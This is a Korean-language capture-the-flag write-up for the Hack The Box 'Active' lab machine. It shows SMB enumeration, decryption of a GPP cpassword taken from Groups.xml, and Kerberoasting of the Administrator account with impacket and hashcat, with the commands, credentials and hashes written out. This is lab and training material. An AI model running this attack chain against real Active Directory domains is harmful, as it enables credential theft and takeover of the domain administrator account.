Hack The Box - Active

Hack the box Active machine writeup

By Hong

이번 머신에서는 kerberoasting을 사용해야 한다.

AD의 인증 취약점을 악용해 관리자의 권한을 얻을 수 있다.

nmap

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-28 05:28:53Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

도메인 이름이 active.htb인 것과 smb 포트와 ldap 포트가 눈에 들어온다.

먼저 smb를 살펴본다.

smb

smbclient -N -L \\\\10.10.10.100
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
Reconnecting with SMB1 for workgroup listing.

접속을 시도해보면 Replication만 연결이 되는 것을 확인할 수 있다.

smbclient -N \\\\10.10.10.100\\Replication
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>

여러 폴더들이 있는데 나중에 찾아보니 SYSVOL의 복제라고 한다.

SYSVOL은 그룹 폴리시 관련 폴더라고 한다. Group Policy Preferences (GPP).

우선 smb의 폴더와 파일들을 모두 다운로드 한다.

smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *

Recurse를 켜서 반복수행하도록 하고 계속해서 yes / no를 물어보기 때문에 prompt는 off로 설정한 후 mget을 사용해서 전부 다운로드 한다.

파일들을 살펴보면 Groups.xml라는 파일이 있는데 여기에 크레덴셜이 적혀있다.

SYSVOL의 취약점을 찾을 땐 Groups.xml 파일을 먼저 찾는 듯 하다.

find . -iname Groups.xml 2> /dev/null

cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

cpassword라고 있는데 GPP에서 사용하는 암호화 방식이다.

Kali에 디폴트로 설치되어있는 gpp-decrypt라는 툴로 크랙킹 할 수 있다.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

GPPstillStandingStrong2k18

위 크레덴셜을 사용해서 smb의 users 폴더에 로그인 할 수 있다.

smbclient -U SVC_TGS \\\\10.10.10.100\\Users
Password for [WORKGROUP\SVC_TGS]:
Try "help" to get a list of possible commands.
smb: \>

여기서 user 플래그 획득 가능.

Kerberoasting

여기서부터가 이 머신의 꽃이라고 할 수 있다.

Kerberoast를 사용해서 유저의 크레덴셜을 발견 할 수 있다.

Kerberoast는 유요한 도메인 유저의 크레덴셜을 가지고 있다면 특별한 권한이 없더라도 실행 할 수 있는 매우 유용한 공격이다.

유저 크레덴셜과 SPN이 존재할 경우 TGS 티켓 리퀘스트 (TGS-REQ)를 보내서 돌아오는 응답 (TGS-REP)의 해쉬값을 크랙킹하여 크레덴셜을 획득한다.

단, 컴퓨터 어카운트는 안되고 유저 어카운트여야 한다.

kerberos

TGT 유저 인증 티켓

유저는 매번 아이디와 비밀번호로 인증하는게 귀찮고 효율이 떨어지기 때문에 티켓을 이용해서 인증 처리를 한다.

이때 KDC (Key Distribution Center)에서 TGT를 발급받는다.

TGT가 있으면 아이디, 비밀번호를 입력하는 인증절차가 생략된다.

TGS 서비스 티켓

유저는 TGT를 이용해서 본인 인증을 하면서 서비스에 대한 티켓을 신청하고 부여받는다.

이때 서비스에 대한 접근권을 TGS라고 부른다.

TGS는 유요한 크레덴셜과 SPN만 알면 특별한 권한 없이도 요청할 수 있기 때문에, 이번 머신에서는 svc_tgs의 크레덴셜을 이용한다.

TGS를 요구할 때는 유저 인증에 필요한 TGT와 접근하고 싶은 서비스를 나타내는 SPN (Service Principal Name)이 필요하다.

리퀘스트를 보내고 돌아오는 응답 즉, TGS-REP (reply)로 부터 유저의 크레덴셜을 획득하는 것을 Kerberoasting이라고 한다.

TGS-REP 획득하기

우선 SPN 어떤게 있는지 알아야 요청을 보낼 수 있기 때문에 그거 먼저 조사한다.

impacket-GetUserSPNs -dc-ip 10.10.10.100 'active.htb/SVC_TGS:GPPstillStandingStrong2k18'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-19 04:06:40.351723  2025-03-28 15:28:35.260577

impacket-GetUserSPNs를 사용하면 SPN의 목록을 볼 수 있다.

이번 경우 Administrator의 SPN에 CIFS가 있는 것을 알 수 있다. CIFS는 smb 관련 서비스다.

active/CIFS를 이용해 TGS를 리퀘스트한다. (TGS-REQ)

impacket-GetUserSPNs -dc-ip 10.10.10.100 'active.htb/SVC_TGS:GPPstillStandingStrong2k18' -request -outputfile hash

그럼 hash 파일이 만들어지고 그 안에 TGS-REP의 해쉬가 적혀있다.

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$857b4c5a322ad5210538f0b7d956184a$55e69b9b7c85d96d375b856934f09737fcdb826abdcb9aa31d6fe2446ff996fc250163ccde931eab99f91aef819cbdf9d53f1db01246a4aaf34c45a7bea761e8d0ad826f622937d8f34bb96ffb93f40527f745c031660f3c363b53d8ad105a7dddc97d61a44af6df2c1206928a8c43becc224b74ae0f81d09df711b766db3476a6ca30ea35a6a1e2bf4245c0c4b52f445c38c4d700dd77af732b967cd65fa0ac127cefc4cd546c1f5abb18662b2593ef338b31d74a40eb483b26e3951897630d2f38f4b5e3e3a65b0834eefce3757e379d90238afc41e6721e86f9d90a1108ea5a69fe1816ddb6a3140317a9517f917c2d72df9df82597facfd0ef3bdf856200ff1ebd065d1b95427cc0b14ed3f47dba2a22b3692064c4c5a7b95e0d436e75959e6baa7534044639391fd83770cea5e5fb00eb146b62f52b880a2ced86c95daf7e28525ed4c2850366e8cf7acad9686eb07610622815c79c0a57ce8e6b067716d33160dd63d6b1f7615c1a6e75c547b6409eb5e10de54fcae7f435f49ccd701ed63465f80dc1691b52546d9bb4f59f48450042b19f6edd2b4204162f1e32c2245dbb37331f173cdec4bd8927f58bf2ed5a5b2bf114558394b66378ae8014f71bfc896ff54f4b2c1e3979748f6825787aa0c32c0b14d3efeb38d27d0e1e863d80a51d1e6ebd2b380ef9a6f74255deaf0af34d30970cba4ca42cb734f780b5e2c1021f4fd4e5027ab5fdd32b5e47f2df0b626350b9a1d6b3679d7e95fa0196eccb6c24db9de664ac7155f09fa1f04bf21f59e05fb172f5178eb1a025d0652facdfb367f4221b86902c6634f9801142112d27007e429fcc1ce541db1945b3713055ab7e34ce6596c405310c20f670ac9c736fe89b255ac4b5ec568730f341b28d95bae1be869127ed0ddbcf9da2dac017f9ac72aa25f086e6c843fbd8bfa79b4262cac1b9fc31010e78717f4ea8fd32ff346a83852a29f1d66e080334ce7fc3c9a90a828cecd0b50d409e84e110abd80bf0f72cea8d59a6c7e11a5aaa5c66ccad54310c939c966907d920f49812aae952ead444ff14557fa049a01049707632d8a1e802902c20a8336717065fcf33f04a24910d3cd2467a257b22a5cb504bb6eaf395d2619a740c8a1575ee46878735c1bbde1166054967ab006b515a20ed2cc091181fca34910fe16ed3a9823e51b6b4e2803b063cf7e73504137daae6bef0fdbc855b46cd1132fa581e761b918a829c2f73be5f9896772e9cce69

hashcat을 이용하여 크랙킹한다.

hashcat --help | grep -i kerberos
  19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol
  19800 | Kerberos 5, etype 17, Pre-Auth                             | Network Protocol
  28800 | Kerberos 5, etype 17, DB                                   | Network Protocol
  19700 | Kerberos 5, etype 18, TGS-REP                              | Network Protocol
  19900 | Kerberos 5, etype 18, Pre-Auth                             | Network Protocol
  28900 | Kerberos 5, etype 18, DB                                   | Network Protocol
   7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth                      | Network Protocol
  13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol
  18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol

TGS-REP의 경우 13100이다.

비밀번호가 나오면 administrator로 psexec로그인 할 수 있다.

참고자료

https://www.datasunrise.com/professional-info/set-kerberos-protocol/

https://medium.com/@sarkaramrit2/kerberos-is-a-network-authentication-protocol-61c84b6cff70

https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/kerberoast.html

Share: X (Twitter) Facebook LinkedIn